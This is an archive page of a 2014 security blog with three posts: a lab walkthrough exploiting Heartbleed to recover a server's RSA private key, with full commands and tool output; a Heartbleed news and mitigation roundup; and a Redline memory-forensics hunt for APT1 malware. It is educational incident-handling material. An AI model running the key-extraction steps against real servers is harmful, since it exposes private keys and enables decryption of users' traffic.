Monthly Archives: April 2014

Apr 18 2014
Leave a comment
Incident Handling and Hacker Techniques

Heartbleed – Got prime number?

I would like to demonstrate a hand’s on scenario that will allow one to have a better practical understanding on how someone could exploit the OpenSSL bug known as Heartbleed to retrieve the server RSA private key which is used to encrypt the SSL/TLS communications. The environment consists of 2 virtual machines. The victim is running Ubuntu 12.04-4  and the Evil is running Kali Linux. On the victim machine I installed Apache with SSL and created a self signed certificate by issuing the following command:.

root@ubuntu:~#openssl req -x509 -nodes -days 365 -newkey rsa:1024 
-keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt

The versions of Apache and OpenSSL are as follow:

root@ubuntu:~# uname -srvnmapi
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP
 Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu:~# openssl version -a
OpenSSL 1.0.1 14 Mar 2012
root@ubuntu:~# apache2ctl status
Server Version: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
mod_ssl/2.2.22 OpenSSL/1.0.1

On the Evil machine I download the Heartbleed exploit tool that was initially created by Jared Stafford and later modified by SensePost. This modified version of the Heartbleat exploit tool allows to dump 65k of data from the server heap memory. This 65k of data among other sensitive information might contain information about the private RSA key used in the SSL/TLS protocol.

In order to give you more background, essentially, the difficulty of RSA rests on the mathematical problem of factoring large numbers into its prime factors.  When generating RSA keys the system starts by generating two large primes, P and Q, and compute their product N = PxQ. N is called the modulos. The following picture shows the various components that constitute a private RSA key and a X.509 certificate with a RSA public key.

RSA

The exploit tool is able to search and extract one of the prime numbers from the leaked data. Because the modulus is public, if you know one prime number you can deduct the other one.  We start by downloading the public certificate from the website and saving is as apache.crt

root@kali# echo | openssl s_client -connect 192.168.1.13:443 2>/dev/null | openssl x509
-----BEGIN CERTIFICATE-----
MIIDIDCCAomgAwIBAgIJAKeTWVOzYsE+MA0GCSqGSIb3DQEBBQUAMIGoMQswCQYD
VQQGEwJQVDEPMA0GA1UECAwGTGlzYm9hMQ8wDQYDVQQHDAZMaXNib2ExEzARBgNV
BAoMCkNvdW50IFVwb24xETAPBgNVBAsMCFNlY3VyaXR5MSIwIAYDVQQDDBl3d3cu
Y291bnR1cG9uc2VjdXJpdHkuY29tMSswKQYJKoZIhvcNAQkBFhxscm9jaGFAY291
bnR1cG9uc2VjdXJpdHkuY29tMB4XDTE0MDQxNDE5NTcwNVoXDTE1MDQxNDE5NTcw
NVowgagxCzAJBgNVBAYTAlBUMQ8wDQYDVQQIDAZMaXNib2ExDzANBgNVBAcMBkxp
c2JvYTETMBEGA1UECgwKQ291bnQgVXBvbjERMA8GA1UECwwIU2VjdXJpdHkxIjAg
BgNVBAMMGXd3dy5jb3VudHVwb25zZWN1cml0eS5jb20xKzApBgkqhkiG9w0BCQEW
HGxyb2NoYUBjb3VudHVwb25zZWN1cml0eS5jb20wgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBANoYD4JBBUsRwsKFsm55tmsL/MgRN7kTTxkto4PTR1fVEVqhZSBs
XB9bdR+d3EDnvVWi2fUN5lBFHlD+YK+gy1W/x8D1gfgYuHpvm1rYaiWFP2ZFoggG
NUcwr2sgKx/wshTnAgJIOFf74JbwXQc7YCtVaZID4cR2t9plv4COGf4hAgMBAAGj
UDBOMB0GA1UdDgQWBBT3ExDfxRcNeEBd37mUFLirSXe4QjAfBgNVHSMEGDAWgBT3
ExDfxRcNeEBd37mUFLirSXe4QjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUA
A4GBAL6cmdwj8opTjqt3HgZ5RcneNCpkrgAF7+AEm8F+Sg/7j2wl3Pl5nbGBDDGX
LjS1j87GkhxtKJPhvNcl/mpL3/AlaVilCsBmtCzHX+eKOsibizSraat1/20DHy56
b+4Z42rBJ3xZE2eykky6p+Avog9RZjua7/pEz/0e/o4r915i
-----END CERTIFICATE-----

We then launch the tool. As parameters we specify the IP address of the vulnerable website and its public certificate that was retrieved with the previous command. The tool uses the public certificate to retrieve its modulus which is then used to search for a prime number.

root@kali# ./heartbeat.py 192.168.1.13 apache.crt
Using modulus: DA180F8241054B11C2C285B26E79B66B0BFCC81137B9134F192DA383D3
4757D5115AA165206C5C1F5B751F9DDC40E7BD55A2D9F50DE650451E50FE60AFA0CB55BFC
7C0F581F818B87A6F9B5AD86A25853F6645A20806354730AF6B202B1FF0B214E702024838
57FBE096F05D073B602B55699203E1C476B7DA65BF808E19FE21
Using key size: 64
Scanning 192.168.1.13 on port 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server sent server hello done
Server TLS version was 1.2
Sending heartbeat request...
Got length: 16384
 ... received message: type = 24, ver = 0302, length = 65551
Received heartbeat response:
Got result:
133549233346294978773221965530990175969878245116491771849452351001024135
067393744354025499347083676843923388568161993257203947857711380070562074
61090554397
found prime: 0xfefd816751054d08836aca2c5cfce8bc68cfc22cfc13b706ecb59ddb9
0d1bd9742ca3b85f28c55c49fb57674420ea87d08b7039b029bbb842fbde9dcb903721dL

Winner winner chicken dinner! We got a prime number.  Now that we know one of the primes’ number and the modulus we just need to compute the other prime number and generate the private key. To compute the second prime number we just divide the modulus by the prime number. Then we execute a tool called rsatool made by Joerie de Gram which can calculate the key given two prime numbers.

For the sake of brevity we will skip these steps but basically you can do it all in the command line as shown in the following figure. Or you could use CrypTool on windows.

primenumber

Following that we just need to execute the rsatool and provide the two prime numbers in order to generate the private key. The rsatool can be downloaded here. You might need to install Gmpy but the detailed instructions to do that are here.

root@kali# python rsatool.py -p 1335492333462949787732219655309901759698
782451164917718494523510010241350673937443540254993470836768439233885681
6199325720394785771138007056207461090554397 -q 1146774128500603561764050
745367493835523702158740387838096036303540757250331031911005216535720559
9697566790924903103501535799885761545468408467346567363797 -n 1531508056
826211681974537330840356849277758921626835581250122250838514123615018183
396077094172638075116313068392469570174902856192052912011542053612442154
616797085755092200877453744373797466581474136422124607072662096594483438
272246656487606364948421705699136573393920499818962351507943024737552870
65516965409 -o apache-recovered.key
Using (p, q) to initialise RSA instance
Saving PEM as apache-recovered.key

Now that we got the private key how can we test it that is valid? Among others, one thing we could easily do is to digitally sign a file with the original private key and verify its signature with the recovered public key.

Let’s first sign a file in the victim machine.

root@ubuntu# echo "Sign this piece of information" > filename
root@ubuntu# openssl dgst -md5 -sign apache.key -out signature filename

Then in the Evil system we could verify it using the recovered public key which means we possess the private key.

root@kali# openssl rsa -in apache-recovered.key -pubout > apache-recovered.pub.key
root@kali# openssl dgst -md5 -verify apache-recovered.pub.key -signature signature filename
Verified OK

Among other things we could pull of a man-in-the-middle attack and decrypt the SSL traffic using the recovered key. As you could see almost no knowledge is needed to run this exploit against a vulnerable server but its consequences are severe. For sure many companies are still recovering from the OpenSSL vulnerability and many others will benefit from doing lessons learned on how to improve their incident handling capability in order to be better prepared for such worst case scenarios. This has been a serious bug and you might want to consider changing your passwords in case you have an account in the following sites. If you own a website or any other service that uses OpenSSL like OpenVPN you want to patch it now! Certificates and keys at risk of compromise should be revoked and replaced. One interesting consequence of this bug was the amount of certificates that have been revoked in the last days.

Tagged , , , , ,
Apr 12 2014
2 Comments
Security Essentials, Security Monitoring

Heartbleed – OpenSSL Bug

hearbleedThis has been an extremely crazy week for the security community!

“The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop communications, steal data directly from the services and users and to impersonate services and users”

OpenSSL published an advisory name Heartbleed classified as CVE-2014-0160 which was discovered by Neel Mehta and Codenomicon. An estimate of 500k widely trusted websites were (some still are) impacted. Bruce Scheneier expressed his opinion as being a catastrophic  bug. SANS has raised its INFOCON threat level to yellow and made 2 great webcasts briefings here and here. Plus it maintains a list of vendors and its respective patches. If you want to know how to find if your  website or appliance is vulnerable Jared Stafford created a PoC named ssltest.py. Several sites are providing a way to test it including Qualys and a site created by Filippo Valsorda here. Brian Krebs and Ed Felten provide great overview on what to do to mitigate it.  Sean Cassidy  wrote great technical details here. Bitcoin core software was updated. Tomas Rzepka (@1njected) accomplished to retrieve the private keys from a FreeBSD 10 system. Mark Loman showed how Yahoo was affected. Matthew Sullivan showed how the leak data could be used to hijack web session and more examples here and here. A scanner was quickly incorporated into Metasploit. Many other resources here. Cloudfare made a challenge in case you want to try it out and get their private keys.  Finally, you might want to consider changing your passwords in case you have an account in the following sites.

“OpenSSL’s security advisory states that only versions 1.0.1 and 1.0.2-beta are affected, including 1.0.1f and 1.0.2-beta1. The vulnerability has been fixed in OpenSSL 1.0.1g, and users who are unable to upgrade immediately can disable heartbeat support by recompiling OpenSSL with the -DOPENSSL_NO_HEARTBEATS flag.
Certificates and keys at risk of compromise should be revoked and replaced, particularly if they are used to protect sensitive data”

Tagged , , , , , ,
Apr 07 2014
1 Comment
Incident Handling and Hacker Techniques, Malware Analysis

Finding Evil on my Wife’s Laptop – Part II

[The first part of this article described the steps needed to do a live memory acquisition of a potentially compromised system using a free tool called Redline – version 1.11.1 -. In this case the system was my wife’s computer which had been complaining about the slowness of her system for quite some time. With the memory image done, I could start a full investigation with Redline and look for known threats hits against IOCs. ~Luis]

Back in February 2013, Mandiant released a unique report called APT1, Exposing One of China’s Cyber Espionage Units. This report is a must read for everyone in the security industry. It  exposed detailed evidence about a cyber espionage campaign that has been claimed to be carried out by the Chinese government.  The report is full of details, very well written and contains massive tactical intelligence. In two weeks following its release it generated a lot of comments and research. One important aspect of this report was that Mandiant released a separate appendix which contains huge number of indicators such as domain names, IP addresses, SSL certificates and MD5 hashes. The appendix can be downloaded here. The appendix C – The Malware Arsenal contains full details about the discovered malware capabilities including description, registry keys, mutex names, C&C addresses and others in a very structural fashion.  The appendix G – IOCs contains the indicators of compromise in OpenIOC format that can be imported into Redline to find Evil.

digitalartifacts

Basically, what I did was to import those digital artifacts in OpenIOC format into Redline and then analyze the memory image to find matches.
First, I opened the Redline tool and selected to open a recent analysis session – which was done in part I -.  Then clicked on the top left M button and selected Session information.

redline-recentanalysis

The Analysis Session Information box appeared. In the Memory Image Location,  I browsed into the collected data folder and selected the memory image. The file should be in the folder where the data was collected and it starts with the name w32memory-aquisition.xxx. This will allows us to acquire memory address space of processes and drivers. With this feature we can dump malicious processes or driver from memory into a file. Then we could eventually disassemble it to further determine its capabilities.  Clicked ok to finish.

redline-analysisinfo

Next, I  went to Mandiant Redline Options trough the M button. Here I  selected the Whitelist Management and imported a MD5 Whitelist provided by Mandiant. This extra list is a set of hashes from common (known good) executable files to filter out some of the memory analysis entries. Includes known good DLL’s and executable hashes from Microsoft Windows Server Update Service and National Software Reference Library and can be downloaded here. Then clicked Add to Whitelist to append this hashes to the existing ones. Next clicked Hide Whitelisted Items by Default and clicked ok. This allows me to hide a great number of known good information because the tool does not display any file with an MD5 hash value in the whitelist.

redline-options

After that, in the Start your Investigation page – this is the home page of your analysis and contain different steps suggested by the tool to assist you in the investigation – I selected I am Reviewing a Full Live Response or Memory Image and clicked in Investigate. This took me to the navigation page where I could apply a set of filters to do a in depth analysis of the system. The tool automatically groups data by types, such as processes or users, and creates views to help you spot potential areas of compromise. First thing that called my attention was in the Processes filter where the svchost.exe was redlined with a malware risk index (MRI) score of 85. The MRI score allows me to prioritize the investigation. Higher the score more likely this process is involved in a potential compromisse.

redline-processes

I double clicked in the process and it took me to the detailed information page. Then I select the MRI Report tab at the bottom of the window. Here I could see the reasons that  contributed to the high MRI score, a pie graph and various tables of risk factors  . One relevant aspect was that it contained a big number of  injected memory sections.

redline-processfulldetail

Next, without losing anymore time I went to the IOC reports section and clicked on Create a new IOC report.  The Start you Analysis section appeared. Here I  selected the folder in which the IOC files were  located which was the folder where I extracted the APT1 appendix report. A huge list of indicators were loaded. I could review them, enable and disable each IOC by checking it. The warnings indicates that Redline will evaluate the IOC, but it may falsely indicate there were no hits (a false negative) due to a lack of collected data or unknown terms.

redline-iocreportcreation

Then the data was evaluated and executed in the background. It took around 30m to finish. When the analysis was done I could browse the IOC report. In the report I could see details about the IOC, such as definition and author. Hits associated with each file that corresponds to an IOC. Detailed information about each hit and the number of indicators that generated hits. In this case the IOC characteristics of the GREENCAT and WEBC2-GREENCAT malware family matched the characteristics observed in the system!

redline-iocresults1

GREENCAT family was one of the malware profiled in the APT1 campaign and is described in the  appendix C – The Malware Arsenal . Basically is a backdoor that communicates with a C&C server and includes a variety of features such as gathering info about the system or creating a shell. When clicking in the details section I could see full hit details such as the file and PE info. In the PE Info I could get further details on PE Sections, Exported and Imported functions and strings.

redline-iocresults2

As you could see is extremely easy and accessible to everyone to do a memory analysis on a potential compromised system and use IOCs to find known Evil.  The tools are getting better, more sophisticated and automated. With this type of tools I even get the feeling that I could do memory forensics and hunting malware!

Additionally, In the resources section of the OpenIOC site you can find IOCs for malware including Zeus, Stuxnet, Duqu and others. You could then import them into Redline and scan your systems. You never know if someone might have implanted a Stuxnet variant on your home systems to compromise your wife’s nuclear centrifuge ; ).

As possible next steps, I  might get a copy of the malware sample by dumping it from memory or get the binary itself. Then take it to my malware analysis lab and determine its capabilities. Using behavioral and code analysis techniques combined with the assistance of tools available on REMnux you analyse it in a controlled environment. From an incident response perspective, I will now proceed with the containment phase. I will notify my wife about what happened and I will take her system offline in order to stop the damage and prevent the attacker from getting further. I will then go through the eradication, recovery and lessons learned phase.

 

References:
Redline User Guide

Tagged , , , , ,